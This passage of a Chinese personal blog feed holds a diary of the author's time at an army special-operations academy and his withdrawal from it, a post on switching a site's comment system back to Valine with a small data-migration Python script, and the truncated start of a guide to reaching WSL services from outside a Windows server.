我妈拍了我的专业,然后跑去武装部,问她认识的人说我这个录取怎么样,结果武装部的那位大哥说:你把最底下那个“陆军特种作战学院”放在第一个可能会好录一点,然后我妈回来就跟我说把它放在第一个。我上面也说过了,我是一个比较随我妈的人(我现在恨不得抽死我自己),然后就……就……就放了。我没想着给提前批录取的,本来对军警院校就没什么想法,我只是单纯听我妈的试试水而已

体检

没错,提前批是要体检的。我参加的是军队院校选拔体检。去到指定的医院后,首次体检是不让你带任何电子产品的(我估计是怕耽误进程,时间紧任务重),我就进去查完该查的东西,然后就回家了;过了几天,广东省教育考试院的微信公众号发了体检结果,然后我点进去看,说让我复检一次,然后就在那一周晚些时候又去了一次,就只让查了血液一项,可能是因为我的血液第一次不太达标,然后想确认一下???

又过了几天,还是那个公众号发布了复检结果——我过了

高校录取

广东省的录取是先提前批录取,提前批录取完了以后就本科批录取,我还在家里打五把CSGO呢,结果我妈过来说录取结果出了,我给陆特录走了

我当时是很懵逼的,就像我说的,我没想着能被提前批录取,就我这烂成绩基本上抢不到的。事后我想:应该是写着特种两个字,然后没人报……当我拿到提前批的录取情况的时候,我看到我那个专业广东省录取2个人,他那里写的录取最低分:559,录取最低名次:600xx,我就知道我是那个里面的第二个……

高考报考军校——陆军特种作战学院 - 知乎 (zhihu.com) 这个链接里面有当年录取最低分的图

当时我妈问我:你确定要去军校了嘛?我当时回复是:都被录了,能不去嘛,不去算不服从兵役那我咋办……

那没办法,录取都录取了,就只能去了

录取通知书

过了几天,一份毫无诚意的录取通知书送到了家里。为什么说是毫无诚意?因为它就像是一张贺卡那样,然后里面就简短的几句话。说实话,我当时脑袋很空白,我也不知道该怎么办。

就如大家看到的平时的我,一个标准的二次元OTAKU(肥宅),然后研究着自己的代码,身体真的不硬朗,而“特战”两个字,说明这个东西纯纯靠身体吃饭,我还是很担忧……

喜事:延迟开学

因为我们开学去的学校是它的分校,就在广州里面,然后当时广州的疫情有点严重,于是就……推迟了十天开学,最后我们在八月底进行入学了……

第一学期:隔离期

就像我上面说的,那个时候是新冠肺炎的疫情期,所以当时过去就让我们理所当然的隔离了。我是第二天中午到的(报到时间是两天),在那之前已经有很多人陆续抵达了这个地方,然后隔离的时候住的地方就没有按照原来给我们分的班级来分,就来一个人就随便丢,我过去的时候给我丢在了二楼的应该是库房的地方,反正这里很空,就什么东西都没有。在那里管我们的人让我们叫他们“班长”(其实这个在同级的人之间实在不知道怎么称呼就是这么叫的),他们肩章是一杠(学员衔,军衔相关内容请阅读百度百科),然后他们跟我们说“带星星的要叫首长”,说白了就是人军衔比你高,所以直接叫首长

这个隔离期持续了好像是两天,过去了以后就上交手机了,然后他会让你把手机密码去掉(事实上只要你是基层兵你就不能设置密码,他要查),然后会开始翻你手机里面的东西,所以小蓝鸟啦、TG啥的东西得提前删掉。

住的地方里面没有独立的厕所和卫浴,需要到走廊尽头的“水房”里面解决,浴室就像是华附那种(实在想不出来可以百度一下华附的浴室是咋样的)

第一学期:新训

过了隔离期就像正常进入基层那样子有新训(新兵集训),不过里面是三个月而已;内容嘛:跑的、爬的、站的、走的等等都有(不能细说请理解);带领我们训练的是大三的学员(高年级带新生新训的机制);当时我记得让我们填过基本信息表,里面有爱好那一栏,然后我填的是“编程”(毕竟我就是做这个的),可能就是这一栏,让我楼下的教导员印象比较深吧

我们楼下有两个人,一个叫做队长(下面简称C某),一个叫做教导员(下面简称L某H),是专门管我们整个队的(我们这个年级是1、2、3队,我是1队)

新训其实过得比较快,但是说白了都是靠身体吃饭,身体素质不好真撑不住,所以对我这个Otaku来说还是挺那啥的……

第一学期:正式学习

与地方大学相比

新训过去后,我们就进入正式学习的时候了,跟地方大学(我们这个地方管非军队院校都叫做地方大学)比就是:科目更多、时间更少、学的不深。科目多主要是因为你不仅要学地方大学学的文化知识,你还得有技能训练(真的是要了老命的东西);时间少体现在下面及格方面:技能训练占用平时的空闲时间、队内管理有事情会占用你的空闲时间、规章制度会打乱你的时间。对内管理这一块下面再讲;学的不深是我觉得我不能在这里呆着的重点原因之一:这个地方的学业水平连专科都不如(这里说的不是陆工大啥的那些,仅限于我在的这个地方,军队院校名单见【知乎】),如果到时候真的在这里毕业了然后退出军队,去外面找工作的话,完全就没有优势,而且别人会的你完·全·不·会。

没有工资的“设计师”

因为我个人还是在计算机这一块特长的,结果结果,队里的设计全都丢给了我。歪,我会的是编程不是设计啊!!!

但是我们队里的L某H还是把这个工作给了我,给就给吧,于是我就比别人多了更多摸鱼的机会

第一次做展板工作的时候,因为PS我用得其实不是很熟,在那个时候,所以做得还是比较慢的;但是后面越来越熟,而且逐渐有了自己的一套设计的体系和概念,就可以开始摸鱼啦~

具体来说就是:先以极快的速度做好他要的内容,然后开启B站,开始刷视频,或者就写我自己的程序;然后在他给我的时间临近DDL的时候,拿去把稿件给他看,合适就通过,不合适回去改了继续摸鱼~

队里“有的没的”

C某这个人他身在学院,一个学习的地方,但是他不看重你的学习,他反而看你队列走得好不好,屋子弄得干不干净。我说白了,这种看法在基层是通吃的,但是在学院真不通吃。学院是学习的地方不是给他拿来讨好上级的地方。他这样子干了以后,考试成绩出来就说“啊?没时间学习吗?时间都用到哪里去了?晚上别睡觉了,加班到十一点半,强制!”,然后平时把你的空闲时间拿来搞卫生和练队列(队列在他眼里就是形象,形象好了内在不重要),不让你学习,你的学习成绩又会继续烂下去;你就试着想你的上级想要你有业绩,然后不让你做工作,让你天天打扫自己的工位、打扫办公室什么的,然后你业绩不好,让你加班,加班完了以后,平时的上班时间又开始让你弄表面功夫,如此一个恶性循环

伤病的出现

我也说过,我是个标准的Otaku,我身体确实不行。当时我们队里的傻逼管理弄了一个什么“补差班”,说白了就是把他们认为不行的人丢进去,然后让领头的带着训。领头的那个是基层考学上来的,是海军陆战队的。一上来那个训练强度大得很,说白了真受不住。我自己个人本身就是容易受伤的体质,然后在一次训练过后(那天训练的是跑步,(1+2+4+8+4+2+1)*400,中间休息2分钟,但是按我的速度人跑完了在休息了我还没跑完,我跑完了人就上去了我又要跟着上去,几乎没有休息的时间)膝盖略感不适,然后后来去医院查说是膝盖有问题,我就没有怎么参与训练了

寒假

军校是有寒假的(过年不让你回去他还是不会的,但是基层是过年回不去的),也就一个月,当时我记得很清楚,我妈在我隔壁邻居来我家的时候说我在军校,我当时我就说了一句:我要哪天不高兴不想呆在那里我就溜了。我妈估计也认为我是给她开玩笑,没在意,但是我当时是有这个想法的

后来没考虑太多,毕竟该玩玩嘛

这一学期,我们跑路了一个人(海南的,他个人学习能力确实不行)

第二学期:发展爱好

开学

开学的时候,当时就说有上面的人下来检查,然后要我们把电脑啥的东西全给弄走

我说白了这种检查这个B地方就是在做表面功夫,做那种,形式主义。有一说一,形式主义在这里面很严重,至少在“一队”里面很严重

我是两台电脑,我家里不是住在广州吗,然后当时就是我这边兄弟说把电脑寄放在我家里,于是让我妈过来拿

当时那个时候队里很操蛋,就是下面那个C某没事找事,天天搞那些有的没的,直接就不让你学习。主要体现在你走队列,你自己明明是几乎”夹着尾巴“做人“,走得很标准,但是人就是要没事找事情做,天天骂你,“啊?学什么习?队列走不好还学?”,然后晚上睡前点名(每天晚上要点名)的时候,给你讲个一小时,留下十分钟给你洗澡刷牙什么的,你根本就不够时间。自己的生活都料理不好,谁还去管他那个东西。所以我对C某是完完全全没有信任的,不相信他会干出人事

所以当时我妈过来的时候,我就明确地说了我想要溜,我妈就开始做心理工作,我说白了说着说着表面上是没那个想法了,其实说白了完全脱离不了这个想法。这个学期我们队里有一个人明确地说了他想要跑路

复查及手术

有一个星期,我做了院内的大巴去医院复查我的问题,照了核磁共振以后医生的意思就是说很严重,要手术。军内手术是需要报告的,回去就跟底下那两个说了,那两个的意思是保守治疗,但是医生的意思是要立即治疗。然后让我们打一个情况说明通过内部的即时通讯发给L某H,但是发了,发了以后就没下落了,直到后来忘了哪一天,我们参保的医院出现了疫情,然后把我们去过医院的隔离了,我跟我妈联系了然后我妈去问上面的人,人一级一级追下去才弄出来的报告通过。

当时把我和我一个兄弟丢去医院手术,医院的规定是病人只能有一个陪护,我妈当时上班,第一天去的时候是办入院,晚上我妈才过来的,第二天就上手术台了。上完手术台下来,在医院休息了一天,第三天我们学院里面告诉我们封了,不让进出,我们回不去了,结果我们那里的医生已经给我们办好了出院。后来是L某H联系了医院给我们康复科留了一个床位。但问题是我们在骨科要搬到康复科,人还催着我们走(病床不够),我们没有人陪护。只能是我伤的没有那么重的推着个轮椅先把我兄弟送过去,然后再用轮椅把东西一点一点搬过去。过去以后,因为人伤的重,我就把病床让给了人家,结果人有看护,我没有看护。我该打的消炎针什么的东西都没有打,这也导致了后面恢复不好。

在医院呆了两周,找了个机会回去了,回去了以后上课是正常去上,但是不参加训练,养着。但是我本身就术后没处理好,而且学院里面没有会看护的人,就导致了一系列的麻烦。而且下面那两个人,特别是C某看我们两个特别不爽,就好像我们欠他钱似的,看着我们两个在队里养着,其他人照常训练,他自己认为我们两个搞特殊,问题是这不是我们搞特殊,是有这个必要,但是他就是一直类似于“被害妄想症”那样有他的癔症,天天在那里猜疑

所以就导致了手术后甚至到此学期的期末,实在是生活在所谓的猜疑之中,没有心情去学,也学不下去

表彰典礼

说是表彰典礼,但是我人在医院躺着没去,然后等我回去,说给我了一个什么“宣传先进个人”,我说白了这个东西谁都知道是拿来打发人的;此外我还听说了当时的指导员(以下称作Z某X)把我做设计的那些还有做视频的那些功劳全部拿走了,本来是我的“四有”(有灵魂、有本事、有血性、有品德,有点类似于学校的“三好学生”,但是含金量高一些,而且有勋章)给它拿走了(没打错字,这个人不配称作人)。这个人完全背叛了我的这些工作,说白了在我这里就失去了信任。

做脚本

因为腿伤了嘛,所以下午不去参加体能训练,我就在宿舍里面弄东西,然后就弄了云原神的那个脚本和Steam自动卡牌的那个东西,这都是题外话

参加ACM比赛

说是ACM比赛,其实就是蓝桥杯。我们队里的L某H还是很支持下面人的爱好的,所以当时我去参加,人也没有说阻止。因为我这个学校的总部是在广西,所以当时参加蓝桥杯是参加广西省的省赛。也是运气好,当时拿了一个广西省的二等奖。

Hello CTF!

CTF这个东西,其实是在我高考完的第二天,我那天在打第三针的新冠疫苗,然后I-Info这位小兄弟在QQ找我问我对CTF有没有兴趣,在那个时候我才接触到这个东西的

后来在大一的下学期有所谓的俱乐部(说白了就是选修课,但是选修课1学分一门,俱乐部2学分,二者占用的时间相同),我选了网络攻防俱乐部,虽然吧里面的教员都是半斤八两,大家都是玩这个的同时在学,我也稍微学了一点点东西,但说白了也没学多少,可能社工自学的比较多

当时就有CISCN的报名,就去报了,想着去试试水。

当时在定我们的团队名,我们是三个人,一个叫做JIO(因为名字读起来很像JOJO),一个叫侯(也跑路了),另一个就是我。我说白了,其实JIO就是个老司机,只能说懂得都懂,然后当时因为听说玩偶姐姐做空以太坊退圈了(我到现在都不知道是不是真的),然后它就灵机一动,把队名定成了hkd01l(你现在在CSDN搜这个名字出来的那个用户就是他)

打CISCN(全国大学生信息安全能力竞赛·实践赛)

初赛

那天因为是第一次打,而且这个比赛分为答题和实践,答题是2小时120题(我记得是这个数),然后取队内成员的平均分加权,加上实践赛的分数加权算排名来算复赛资格的

答题满分我记得是1k2,我拿了1k出个头(百度大法好),然后他俩是大概八九百的样子;到了实践赛,但是有一道是叫做签到电台(说白了就是签到题),然后我就给做了出来(链接在这里 -> 2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp),结果我们非常好运进了复赛

复赛

复赛那就是大佬的舞台了,不过复赛是分区域的,我们算作华南赛区。

复赛分为breakfix,说白了就是先打再修

进去以后首先发现:没有签到题!!!也就是说如果我们没有能够解出任何题目的话,我们就拿不到分

break环节,我是在反复看哪些题目是有缺口能够被我们打进去的,但是说白了我们三个人都不会什么东西,所以break真的是一分没拿,但是JIO桑给了一个很关键的信息:在题目Try2ReadFlag里面,有一个SSRF漏洞

到了fix环节,他是有web题目和pwn题目进行修复。pwn啥都不会就完全没看。

Try2ReadFlag这个题目,我就逮着SSRF来修,然后没想到真给我修到了。fix环节的机制是修好的记为100分,有3次检测环节,在第一环节检测修复后,后面默认为修复完成,直接+100,也就是这个机制,最后让我们拿到了300分的“高分”,拿了一个华南赛区三等奖

然后他们后来就开玩笑说:这把是我carry全场,事实上也确实,初赛是用我1k出头的分数拉上去的,复赛是我修的:<

复赛相关文档 -> 2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp

打2022网鼎杯

主要就做了个签到题和一个加密题(爆破大法好!),还是我做的:<,当然因为网鼎的技术含量比较高,里面的都是大佬,所以基本上就是被完虐了

网鼎相关文档 -> 2022网鼎杯青龙组——个人WriteUP

网鼎小插曲

因为CTF比赛的机制是flag为独一无二的,也就是说个别队伍的flag你是不能直接拿来用的,结果在违规通报里面,有人在签到题,用了别人队伍的flag,然后就理所当然的两个队伍违规处理了 :>

教导员升官跑路

对,记得我们是那一周的周二还是周三得到的消息,然后周五就跑路了,直接就升职了,跑去总部去做领导去了。这个人我还是比较尊敬的,人确实为了下面的人着想,不过说句实在话,他应该是知道我会跑路的

我当时住院回来,跟JIO聊天的时候,他就说过这个教导说我不适合在这里,所以他应该是预料到了的

期末考前两周

我是手上有两个手机的,一个放楼下(红米NOTE11)给查,一个自己平时放在电脑包里(红米 K40),我经常用K40跟我妈发微信,考前两周那个时候C某又在弄有的没的那些东西,不让你好好复习。“复什么习?空闲时间拿来练队列!还复习?”加上从这个学期开始,我就已经不是很想学习了,在这里是真的学不下去,我就在微信里面跟我妈说了我想跑路,但是这个学期没跑成,因为各种原因,包括准备不足什么的

第二学期:暑训

对没错,一开始报考的时候说有暑假(你有个几天那也叫有啊,这个是连几天都没有),结果实际上给我们扣了,说是“暑期强化训练”也叫暑假,我呸

然后两个月就练那点东西,一半还是新训学过的,唉,一言难尽

因为第二学期有两个小老弟跑路了,他们在办手续(跑路的手续),但是事实上,放暑假,人机关的放假了(没错机关还能放假,我们不配当人),办不了,最后还是第三学期开学一个月了才走的

插曲:新教导员

新的教导员是我们暑训的时候来的,它叫做J某K,以下简称K子K子在来的时候还是很沉默的,就是放养。暑训的上半段是C某休假,所以就他一个,一个星期过了以后就开始不当人了

他在晚上点名的时候开始训斥人,说“你们以前的教导员和你们队长是怎么带你们的带成这样”(他是士官队上来的,也是跟C某一样完全不懂学员队而非基层连队,这两个是不能一概而论的,带人的方法是不能一样的)

等到C某回来的时候,人还直接当着C某的面说“你们带的什么样”巴拉巴拉的,唉,只能说大言不惭,唯我独尊吧

第三学期:当个咸鱼

反正这个学期要走了,不如就当一个老咸鱼吧,反正我还是作为病号生活的

表彰典礼

嗯没错,这东西甚至是一学期一次,结果第二学期的指导员(以下称作Z某F)跟上面的Z某X一样,也是个抢别人功劳的人,还是抢走了我的那些东西,我都服了,第二次啊,这是第二次啊!!!

典礼前夕

说到这里,因为我不是搞队内的宣传工作吗,然后他们让我做个视频在表彰典礼上面放。一开始说没有任何要求,我堆了个12分钟的视频,拿去三队跟他们友好交流,然后人告诉我不能超过三分钟,诶但是你一开始没说啊,爬!

然后回去搞,搞到凌晨4点(对,时间给的甚至不多),实在搞不下去了,草草弄了一点,睡觉去了

早上起来,Z某F来看,说小改一下就可以了,然后就改了嘛

改了以后到了典礼当天

会场现场

这东西是在正式开始之前放的,然后我们的其实没啥问题吧,就……短了点。过去后发现人三队背叛了我们,人做了快二十分钟的视频,基本上整个放视频的时间段给人占了

然后还是办了个什么宣传先进个人给我,麻了

会后

在某一天吃早餐的时候,C某叫我过去,又说了一堆,说人三队的那么长我们的那么短,他都不知道我们的是在哪里,然后又开始说什么竞争不过别人之类的话,然后又开始PUA,我都服了

考计算机二级

我还是报了个计算机二级来考的,反正一定能过,拿个证呗

K子的两面派

在某一天,K子说有个活动要我们参加,就是那种大会,然后让我们队去参加

到了晚上,他就开始骂人了:“我给你们争取那么好的机会,你们不珍惜,坐的跟个什么鬼样。别人队都没有这种机会,就我们队有,你们还不好好珍惜!”

这里需要对两点做出说明:

  • 他的意思是参加任何活动都要正坐,动都不让动,然后他自己在那里葛优躺
  • 所谓的别的队没有,那是因为在领导班子开会的时候,需要一个队去参加,然后别人都不举手,就他举手,叫做“别的队都没有,就我们有那么好的机会”,实际上是没人想去,他自己为了在上级面前“出风头”罢了

期末考试

规则:

  • 一个学期挂4科,或者挂3科且补考均不过,或者连续两学期挂4且补考均不过进行退学处理
  • 期末考试分数小于60直接算挂科,大于60则跟平时分加权,相加小于60也算挂科

这次期末考试我就开始我的计划了,我们总共考好像是6门,我是挂了英语、概率论、近现代史、电工、还有个啥东西忘记了。按照规则,一个学期挂4科,或者挂3科且补考均不过,或者连续两学期挂4且补考均不过进行退学处理,至于为什么是五科,因为我怕教员给我拉回来。我们内部有一科目,就是那种背背就能过的,我每道题目(开放题)我就写了一句话,人甚至给我拉了回来,这个科目的成绩在这几科前面出的,所以我就直接挂5了

第四学期:办理退学

回去以后就开始填各种东西,然后因为某些原因导致我推迟了很久才成功退了出来。这些不是重点,重点是他们处理问题的方式

归校当天

我回去其实是压点到的,因为路上出了交通事故

到了以后,那两个傻逼把我和另一个广西的叫过去(以下简称老表),然后就说了一下要办手续之类的东西,然后把老表放上楼了

我一个人在那里,然后他们说我什么都不跟他们说,按他们的意思就是整个队里你最能信任的就是你队长我和你教导我。放屁!你们什么骚操作没做过,你们早就在手下的人这里失去了信任,还跟你们说?我说白了,一旦有这个苗头的话早就进入整顿模式了,说个屁。真把自己当成所谓的“知心大姐姐”吗?甚至这两个人还想把我留着,真是TMD🐶

接下来,C某将被我们叫做C狗,我会用🐶表示,这个人真的不配当人

确定接受地

按照现行的退役军人安置方法,我的接受地应该是白云区,但是当时机关那边让我开的是黄埔区的保险信息(要交社保),然后我去问K子,人就翻我档案,说我是黄埔区入得伍,所以是黄埔区接受。那人都这么说了,就当是黄埔区吧,又去黄埔区开了保险信息。

我走了以后,去黄埔区的退役军人事务局报道,人家看了我的信息表,说我应该是白云区接受,而不是黄埔区。然后后来他们去问了他们的上级,让我等两天

🐶的逆天发言

我把情况跟🐶说了,他说我去问。诶不是,我都问了,人家说得请示上级,你自己都知道请示是个什么流程,你让我问,我问什么?问了就能出来啊?

不过我当时没有去怼他,因为毕竟事情没办完,还“有求于人”

过了两天,🐶又打电话给我,说确定没,人那边没有给我回复肯定没有确定嘛。然后”他🐶了一句逆天发言

明天确定不下来你就回来,你不能呆在家里

WTF我人都跑路了你还要我回去?你在公司里把人辞退了还能把人叫回来的?这人一定要听你的,你想让他回来他就回来?你想让他走他就走?搞笑!

次日,🐶又打电话给我,那肯定是没确定嘛。然后他说

那你收拾收拾东西,跟你父母说一下,晚上回来!

谁TM回去!我才不惯着你,这种人是没有上级去压制他他就不会安分的,一个不当人的🐶!

我打电话给我们政委,政委给了大队长的电话给我,我跟大队长说了情况,大队长说“哪有他这种道理,你不用回来,我去跟他说”

到了第三天,终于确定下来是白云区。人那边给我重新开了《行政介绍信》,然后让我去拿

各种拿资料

我总共回去了两次,因为拿资料。我第一次回去就是上面说到的拿白云区的行政介绍信。在那之前他们说有两个包要还,不是给我的,然后顺带给人带回去。

第一次拿资料

第一次还很顺利,就回去呗,我本来想的是人给我拿出来,我又不是属于你那个单位的了,我没有什么理由进去

然后K子让我进去,那拗不过人家就进去呗,进去拿了就跑,然后他俩还假装“嘘寒问暖”了几句

第一次报道

当天下午,我就去白云区那边报道了,人因为我没有退伍证(现在叫退伍证书),然后报道不了,我又把情况跟他们说了,然后K子咬定了说我就是没有这个东西

问题是人正常退伍怎么可能没有?你自己不想去问而已,就直接一句话搪塞过去

后来是退役巨人事务局那边跟他说了,然后我回家又跟他说了,他才说开一个证明说目前没有,后面补发

然后当天打电话的时候,我又开的扬声器,然后我爸听到他说的就是骂人很难听,然后就跟人吵了一架

第二次拿资料

第二次拿资料是快四月了(三月底,记得应该是3.31),又是他那边让我进去拿的(说实话我都不想进去),当天另一个跑路的人(选择补考不过跑路,手续办的晚)让我给他带份饺子(门口有清真面馆)

我进去了以后,在K子那边拿走了以后,不知道这个人发什么神经,又说我把无关的人拉进来吵架(我爸),然后又哔哔叭叭跟我在那里说他所谓的大义,说什么他都不想待在家里,因为家里有矛盾,他处理不好家里的矛盾,然后说我把家里的矛盾延伸到外面来,我都无语了,我不想跟她吵,因为那天下午是有计划要出去见亲属的

他说完了,我上去把饺子跟人家送一下,然后🐶又在楼下喊我,一开始我也没听到,在人家房间里面听个鬼

后面我下去了,又说我跑路了就不听他们的了(这是什么道理我跑路了当然不听你的呀,你是什么东西),跟他们打电话就只会哎,哦(我难不成还要你在喊我名字的时候我到一个不成?),说我不讲礼貌(你们两只🐶都不值得我尊重我凭什么);讲完这些又说我找人压他(指我找大队长来摆平他那个让我回去的事情),说我回去是本分(你放屁,你试试叫一个辞退的员工回来?),又耽误了我一小时,后面我才走的

最后只能在白云区那边预报到(因为没有证)

对于军校的概括(仅个人观点,仅针对特院,仅针对于2021级)

  • 教育水平不如专科,一本只是个噱头
  • 本质上是靠身体吃饭,跟你知识储备基本没有关系
  • 领导完全不会了解手下的人,所谓的“经常谈心”是为了应付上级检查而写的
  • 领导的心在转业和升官上,都是为了在上级面前出风头

我的想法

很多人都跟我说:你好不容易考上军校了就这样不读了,不是很浪费吗?多少人想去军校考不上的?

对于这个观点,我想说的是:

  • 1、这是我自己的选择,决定读不读不需要你认为,只要我认为读下去没有价值,复读收益更高,那我就要跑路。
  • 2、你认为考军校很难,那是因为教育不平衡导致的,我无法否定对教育水平落后的地区他们考军校难,但是我受的教育,让我对考军校这个事情是能够实现的,并且它是作为很次选的方案误打误撞中的,对我来说不叫难。你觉得难那是你的观点。

在家里的生活

回到家里主要有几个改变:

  • 没有那两个傻逼的压力
  • 我过得相对轻松
  • 能够自由地跟朋友们聊天玩耍
  • 能够去任何我想去的地方

总结:自由

是,我是一个很不受管的人,管理你相对轻松我可以睁一只眼闭一只眼,但你要PUA我,我不能接受

你说算不算00后整顿职场,我也不好说,但是我看来好像是有点那种意思

玩瓦罗兰特

嗯没错,作为FPS玩家,我开始玩起了瓦罗兰特

最开始我是用我的LOL PBE账号玩的,然后后来说缅甸号比例高,我就去开了个缅甸号,那天是2023.4.11

做第一个大项目

在我在家里呆着的这几个月,我做了我人生中的第一个大项目——Valora,当时是心血来潮做的,做到现在三个月,功能已经完善好了,是个成熟的项目了

复读报名

在6月末的时候,我去了要复读的学校报名(现在先不说),这个学校是全日制的,而且管理也相对严格,不过没有特院那样

7月31日要入校了,所以接下来一年我都不会露面了。不管项目出现了什么bug,我也不会去修的了,一年后积累了多少问题,到那个时候我们再慢慢修吧

人总要对自己的选择负责的

到此,结束!

]]>
+ + + + + diary + + + + + + + diary + + High School + + Repetition + + Military + + + +
+ + + + + 为什么我选择用回了Valine? + + /posts/Why-I-return-to-Valine/ + +

熟悉我的小伙伴应该知道,我的网站的评论系统经历了几次更换,最开始我用的是Gitalk,但是因为要登录Github账户,而且不是所有人都有Github账户,所以就更换了

后面用上了Valine,Valine用得很舒服,yysy,配置好Valine-Admin后基本上可以撒手不管了,但是后来Valine停止更新了,就想着去用下Waline

Waline用了没多久,发现这东西后端一直连接不上,然后就又更换了

最后换成了Twikoo,这个东西跟Waline一样是要用MongoDB的,所以直接把Waline的MongoDB给它用,没一会就搞定了

你以为到这里就这么简单了嘛?如果真的是的话我就不会发这篇文来吐槽了

Twikoo Vercel部署无法发邮件

最开始我是部署在Vercel上面的,这种方式就是很方便,因为Vercel本来就是一个很便捷的平台,没有很多繁琐的操作,再说,Twikoo支持一键部署,所以就部署在了Vercel里面

用了两周以后发现一个很大的问题:Vercel链接微软服务器会超时!我的域名邮箱是在Office365上面的,自然邮件提醒功能就要链接微软的服务,然后Vercel使用邮件提醒的时候,就会超过Vercel规定的10秒上限,导致函数运行直接超时,然后发不出邮件

幸好,Twikoo不只是能够在Vercel部署,我又把目光投向了Zeabur这个平台

Twikoo Zeabur部署 数据丢失事件

我不能说Zeabur不好用,他确实很好用,非常好用,几乎完美解决了我的容器需求,但是凡事都有个但是,Zeabur在2023年七月初上线了签到延长使用期限的功能,也就是说如果我不签到,我的应用会自动被停机

我在Zeabur部署Twikoo的时候,那还是Zeabur平台的早期,当时的设定是MongoDB会部署在Twikoo容器的内部,这就导致了但凡Twikoo进行了一次重启,所有的数据都会丢失

很不幸,我的数据正是在这种情况下丢失了,一点都没有剩下。幸好,在我之前部署Vercel的Twikoo的时候,里面的MongoDB的数据是还在的,尽管它不是最全的,但是能恢复一部分已经是很不错的事情了

或许你会问我:现在Zeabur的付费机制可以绑定支付宝,为什么不用呢?我只能说数据丢了一次以后,我在想尽各种办法来避免这种情况,所以目前Zeabur不在考虑范围内

Twikoo Render部署 程序底层导致的无法发送邮件

当我把Zeabur上的应用迁移,特别是Valora迁移的时候,我尝试找一个能够连续不断跑容器的平台,最后选择了Render这家,它可以在新加坡部署容器,且一个月有750小时的运行时间,完全够一个容器跑一个月的了,所以我也把Twikoo丢到了这个地方

当我搬上去以后,进行了一系列的配置,然后再次尝试邮件的时候,发现还是发不了,这不是配置上的问题,就是Twikoo发不出去

发现了以后,我又尝试用了Valine-Admin来发送

重新接入Valine

放弃使用Valine其实还有一个原因,就是Leancloud的国际版禁止国内IP访问了(业务域名和自带的引擎域名),我是搬到了国内版去用的,但是国内版要求备案,搞得我很烦(后来找了代备案搞定的)

这次重新接入Valine,我选用的是国际版,国际版之前的数据我都没删掉,就是换用Twikoo以后的新增数据没有了,这个没办法,最后就只要解决国内不能访问业务域名的问题就可以了

这里我用了Vercel作为反代,然后把serverURL设置为了我的反代域名,才解决了国内访问不了的问题

测试Valine邮件

我重新部署了一次Valine-Admin,来避免一些遗留下来的问题,部署完成后,在我的网站匿名发送了一条测试评论,邮件顺利送达

最后我恢复了Valine的使用,尽管它现在已经不更新了,但是它能够满足我的基本需求,所以我还是选用它

FIN

最后我改了一下我导出的MongoDB的数据,发现可以被Valine正常识别,只需要修改一下数据的类型就可以正常被导入了

导入以后发现……这个邮件它以前没发的全给我发了

对不起对不起对不起!!!我没想到它会自己发出去

加更:Twikoo合并入Valine并去重

就像我上面说的,我的Valine数据是导入进去过Twikoo的,现在Twikoo导出的数据是json(用管理面板里面的那个导出),直接导入Leancloud是没问题的,但是珲面临下面的问题:

  • 时间格式不正确:Twikoo的时间格式是时间戳,而Valine用的是Leancloud的Date类型
  • Twikoo无用数据较多,uidmastertop什么的标记需要去除
  • 去重!去重!还是去重!

经过我在火车上的一小时奋战,我终于弄出了这个脚本(Twikoo导入Leancloud后在Leancloud导出数据库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import json
from datetime import datetime


def timestamp_to_iso8601(timestamp):
# Convert timestamp to a datetime object
try:
dt_object = datetime.fromtimestamp(int(timestamp) / 1000)
except TypeError:
return timestamp

# Format the datetime object to ISO 8601 format
iso8601_format = dt_object.strftime('%Y-%m-%dT%H:%M:%S.%fZ')

return iso8601_format


with open('comment.0.jsonl', 'rt', encoding='utf8') as f:
lines = f.readlines()


def write_data(data):
with open('Comment.json', 'wt+', encoding='utf8') as f:
f.write(data)


exist_data = []
finaldata = []
# write_data('#filetype:JSON-streaming {"type":"Class","class":"Comment"}\n')
for line in lines:
if line.startswith('#'):
continue
data = json.loads(line)
if {"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')} in exist_data: continue
if data.get('created'):
data['insertedAt'] = {"__type":"Date","iso":timestamp_to_iso8601(data.get('created'))} # Valine的时间索引
data['createdAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
data['updatedAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
if data.get('top'):
del data['top']
if data.get('master'):
del data['master']
if data.get('uid'):
del data['uid']
if data.get('created'):
del data['created']
if data.get('mailMd5'):
del data['mailMd5']
finaldata.append(data)
exist_data.append({
"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')
})

write_data(json.dumps(finaldata, indent=4))
print(len(finaldata))

print('done')

运行完后在Leancloud导入Comment.json文件后,就完成了!

]]>
+ + + + + Software + + + + + + + Tech + + Valine + + Comments + + Website + + + +
+ + + + + 从外网访问Windows服务器上WSL的服务 + + /posts/Access-WSL-through-Windows/ + +

之前因为Valora这个东西部署在Zeabur上面,然后Zeabur被我用超了,给我发邮件了,让我升级我的套餐,那既然这样我肯定得寻找更好的服务器去搭建Valora了;前些阵子我问了@CyanFalse想问问有没有什么好的服务器,结果人家很大气啊,直接给了一台12H48G的Windows服务器(没错是Windows不是Linux),虽然说Windows做服务器没啥问题,又不是不会用,天天用着这个视窗11怎么可能不会用,不过Windows还是有点不方便,然后我就装了WSL来跑我的服务

但是但是,Windows的WSL是有防火墙加持的,这个防火墙是Windows自己的防火墙,会阻挡Windows访问WSL的服务,也会阻挡WSL访问Windows的服务,这很不方便,所以就有了这个文章

找到目标IP

首先得搞清楚我们要访问的IP,要不然关了防火墙访问错IP也是没用的,不过这一部分很简单,甚至可以跳过

找到WindowsIP

直接在设置里面找到自己当前使用的网络驱动器,里面就有(这里用我自己电脑截个图,我自己电脑是设置了静态IP的,一般来说上面IP分配那里会写自动,要看下面那个IPv4地址的IP)

当然如果你更习惯用命令行(例如我),那可以使用以下命令获取

1
ipconfig

然后会有一堆的输出(取决于你有多少个网卡)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
PS C:\Users\GamerNoTitle> ipconfig

Windows IP 配置


未知适配器 Tailscale:

连接特定的 DNS 后缀 . . . . . . . :
